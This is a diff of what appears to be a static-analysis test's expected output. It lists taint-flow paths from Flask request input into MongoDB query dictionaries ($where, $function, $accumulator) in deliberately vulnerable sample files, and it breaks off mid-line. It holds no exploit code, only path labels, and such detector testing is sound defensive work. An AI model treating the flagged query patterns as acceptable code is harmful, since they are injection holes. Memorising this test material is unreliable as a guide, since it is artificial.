[Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | +| PoC/server.py:91:41:91:45 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:92:50:92:54 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict | provenance | | | PoC/server.py:98:5:98:10 | ControlFlowNode for author | PoC/server.py:99:5:99:10 | ControlFlowNode for mapper | provenance | | | PoC/server.py:98:14:98:20 | ControlFlowNode for request | PoC/server.py:98:5:98:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | | PoC/server.py:99:5:99:10 | ControlFlowNode for mapper | PoC/server.py:102:9:102:14 | ControlFlowNode for mapper | provenance | | @@ -56,8 +51,7 @@ edges | flask_mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | provenance | | | flask_mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | flask_mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | provenance | | | flask_mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | flask_mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | provenance | Config | -| flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict [Dictionary element at key name] | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict | provenance | | -| flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict | provenance | | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for request | provenance | | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for request | flask_pymongo_bad.py:11:21:11:27 | ControlFlowNode for request | provenance | | | flask_pymongo_bad.py:11:5:11:17 | ControlFlowNode for unsafe_search | flask_pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | provenance | | @@ -65,8 +59,7 @@ edges | flask_pymongo_bad.py:12:5:12:15 | ControlFlowNode for json_search | flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | provenance | | | flask_pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | flask_pymongo_bad.py:12:5:12:15 | ControlFlowNode for json_search | provenance | | | flask_pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | flask_pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | provenance | Config | -| flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict [Dictionary element at key name] | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict | provenance | | -| flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict | provenance | | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | provenance | | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | mongoengine_bad.py:18:21:18:27 | ControlFlowNode for request | provenance | | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | provenance | | @@ -79,29 +72,25 @@ edges | mongoengine_bad.py:19:5:19:15 | ControlFlowNode for json_search | mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:19:19:19:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:19:5:19:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:19:30:19:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:19:19:19:43 | ControlFlowNode for Attribute() | provenance | Config | -| mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict | provenance | | -| mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict | provenance | | | mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | | mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:27:5:27:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | provenance | Config | -| mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict | provenance | | -| mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict | provenance | | | mongoengine_bad.py:34:5:34:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:35:30:35:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:34:21:34:27 | ControlFlowNode for request | mongoengine_bad.py:34:5:34:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | | mongoengine_bad.py:35:5:35:15 | ControlFlowNode for json_search | mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:35:19:35:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:35:5:35:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:35:30:35:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:35:19:35:43 | ControlFlowNode for Attribute() | provenance | Config | -| mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict | provenance | | -| mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict | provenance | | | mongoengine_bad.py:42:5:42:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:43:30:43:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:42:21:42:27 | ControlFlowNode for request | mongoengine_bad.py:42:5:42:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | | mongoengine_bad.py:43:5:43:15 | ControlFlowNode for json_search | mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:43:19:43:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:43:5:43:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:43:30:43:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:43:19:43:43 | ControlFlowNode for Attribute() | provenance | Config | -| mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | provenance | | -| mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | provenance | | | mongoengine_bad.py:50:5:50:17 | ControlFlowNode for unsafe_search | mongoengine_bad.py:51:30:51:42 | ControlFlowNode for unsafe_search | provenance | | | mongoengine_bad.py:50:21:50:27 | ControlFlowNode for request | mongoengine_bad.py:50:5:50:17 | ControlFlowNode for unsafe_search | provenance | AdditionalTaintStep | | mongoengine_bad.py:51:5:51:15 | ControlFlowNode for json_search | mongoengine_bad.py:53:34:53:44 | ControlFlowNode for json_search | provenance | | @@ -112,8 +101,7 @@ edges | mongoengine_bad.py:58:5:58:15 | ControlFlowNode for json_search | mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | mongoengine_bad.py:58:5:58:15 | ControlFlowNode for json_search | provenance | | | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | provenance | Config | -| mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict [Dictionary element at key name] | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | provenance | | -| mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict [Dictionary element at key name] | provenance | | +| mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:1:26:1:32 | ControlFlowNode for ImportMember | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | provenance | | | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | pymongo_test.py:12:21:12:27 | ControlFlowNode for request | provenance | | | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | provenance | | @@ -124,22 +112,19 @@ edges | pymongo_test.py:13:5:13:15 | ControlFlowNode for json_search | pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | provenance | | | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | pymongo_test.py:13:5:13:15 | ControlFlowNode for json_search | provenance | | | pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | provenance | Config | -| pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict [Dictionary element at key data] | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | provenance | | -| pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict [Dictionary element at key data] | provenance | | +| pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:29:5:29:12 | ControlFlowNode for event_id | pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | provenance | | | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | pymongo_test.py:29:5:29:12 | ControlFlowNode for event_id | provenance | | | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | provenance | AdditionalTaintStep | | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | provenance | Config | -| pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict [Dictionary element at key $where] | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | provenance | Decoding-NoSQL | -| pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict [Dictionary element at key $where] | provenance | | | pymongo_test.py:39:5:39:12 | ControlFlowNode for event_id | pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | provenance | | | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | pymongo_test.py:39:5:39:12 | ControlFlowNode for event_id | provenance | | | pymongo_test.py:39:27:39:33 | ControlFlowNode for request | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | provenance | AdditionalTaintStep | | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | provenance | Config | -| pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict [Dictionary element at key $where] | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | provenance | Decoding-NoSQL | -| pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict [Dictionary element at key $where] | provenance | | | pymongo_test.py:52:5:52:11 | ControlFlowNode for decoded | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:52:15:52:50 | ControlFlowNode for Attribute() | pymongo_test.py:52:5:52:11 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:52:26:52:32 | ControlFlowNode for request | pymongo_test.py:52:26:52:49 | ControlFlowNode for Subscript | provenance | AdditionalTaintStep | @@ -153,17 +138,13 @@ edges | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | provenance | | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | pymongo_test.py:63:25:63:31 | ControlFlowNode for decoded | provenance | | -| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | -| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | -| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | provenance | | -| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | provenance | | +| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | +| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:59:49:59:54 | ControlFlowNode for search | pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | provenance | | | pymongo_test.py:59:49:59:54 | ControlFlowNode for search [Dictionary element at key body] | pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | provenance | | -| pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict | provenance | | -| pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | provenance | | +| pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict | provenance | | | pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | provenance | | -| pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict [Dictionary element at key $expr] | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict | provenance | | -| pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict [Dictionary element at key $expr] | provenance | | +| pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict | provenance | | nodes | PoC/server.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | PoC/server.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -173,10 +154,8 @@ nodes | PoC/server.py:27:14:27:38 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | PoC/server.py:27:25:27:37 | ControlFlowNode for author_string | semmle.label | ControlFlowNode for author_string | | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| PoC/server.py:30:27:30:44 | ControlFlowNode for Dict [Dictionary element at key author] | semmle.label | ControlFlowNode for Dict [Dictionary element at key author] | | PoC/server.py:30:38:30:43 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| PoC/server.py:31:34:31:51 | ControlFlowNode for Dict [Dictionary element at key author] | semmle.label | ControlFlowNode for Dict [Dictionary element at key author] | | PoC/server.py:31:45:31:50 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:43:5:43:10 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:43:14:43:20 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -188,7 +167,6 @@ nodes | PoC/server.py:53:14:57:5 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | | PoC/server.py:54:17:54:70 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| PoC/server.py:61:27:61:58 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | | PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function] | | PoC/server.py:61:51:61:56 | ControlFlowNode for search | semmle.label | ControlFlowNode for search | | PoC/server.py:77:5:77:10 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | @@ -201,10 +179,8 @@ nodes | PoC/server.py:86:19:86:49 | ControlFlowNode for Dict [Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $accumulator] | | PoC/server.py:86:37:86:47 | ControlFlowNode for accumulator | semmle.label | ControlFlowNode for accumulator | | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| PoC/server.py:91:29:91:47 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | | PoC/server.py:91:41:91:45 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| PoC/server.py:92:38:92:56 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | | PoC/server.py:92:50:92:54 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | semmle.label | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | | PoC/server.py:98:5:98:10 | ControlFlowNode for author | semmle.label | ControlFlowNode for author | | PoC/server.py:98:14:98:20 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -224,7 +200,6 @@ nodes | flask_mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | flask_mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| flask_mongoengine_bad.py:30:39:30:59 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | flask_mongoengine_bad.py:30:48:30:58 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | flask_pymongo_bad.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -234,7 +209,6 @@ nodes | flask_pymongo_bad.py:12:19:12:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | flask_pymongo_bad.py:12:30:12:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| flask_pymongo_bad.py:14:31:14:51 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | flask_pymongo_bad.py:14:40:14:50 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | mongoengine_bad.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -244,7 +218,6 @@ nodes | mongoengine_bad.py:19:19:19:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:19:30:19:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| mongoengine_bad.py:22:26:22:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | mongoengine_bad.py:22:35:22:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:26:5:26:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:26:21:26:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -252,7 +225,6 @@ nodes | mongoengine_bad.py:27:19:27:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:27:30:27:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| mongoengine_bad.py:30:26:30:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | mongoengine_bad.py:30:35:30:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:34:5:34:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:34:21:34:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -260,7 +232,6 @@ nodes | mongoengine_bad.py:35:19:35:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:35:30:35:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| mongoengine_bad.py:38:26:38:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | mongoengine_bad.py:38:35:38:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:42:5:42:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:42:21:42:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -268,7 +239,6 @@ nodes | mongoengine_bad.py:43:19:43:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:43:30:43:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| mongoengine_bad.py:46:26:46:46 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | mongoengine_bad.py:46:35:46:45 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | mongoengine_bad.py:50:5:50:17 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:50:21:50:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -282,7 +252,6 @@ nodes | mongoengine_bad.py:58:19:58:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | mongoengine_bad.py:58:30:58:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| mongoengine_bad.py:61:29:61:49 | ControlFlowNode for Dict [Dictionary element at key name] | semmle.label | ControlFlowNode for Dict [Dictionary element at key name] | | mongoengine_bad.py:61:38:61:48 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | pymongo_test.py:1:26:1:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | pymongo_test.py:1:26:1:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -292,21 +261,18 @@ nodes | pymongo_test.py:13:19:13:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:13:30:13:42 | ControlFlowNode for unsafe_search | semmle.label | ControlFlowNode for unsafe_search | | pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| pymongo_test.py:15:42:15:62 | ControlFlowNode for Dict [Dictionary element at key data] | semmle.label | ControlFlowNode for Dict [Dictionary element at key data] | | pymongo_test.py:15:51:15:61 | ControlFlowNode for json_search | semmle.label | ControlFlowNode for json_search | | pymongo_test.py:29:5:29:12 | ControlFlowNode for event_id | semmle.label | ControlFlowNode for event_id | | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict [Dictionary element at key $where] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $where] | | pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring | | pymongo_test.py:39:5:39:12 | ControlFlowNode for event_id | semmle.label | ControlFlowNode for event_id | | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:39:27:39:33 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict [Dictionary element at key $where] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $where] | | pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring | | pymongo_test.py:52:5:52:11 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:52:15:52:50 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -318,18 +284,14 @@ nodes | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict [Dictionary element at key body] | semmle.label | ControlFlowNode for Dict [Dictionary element at key body] | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, 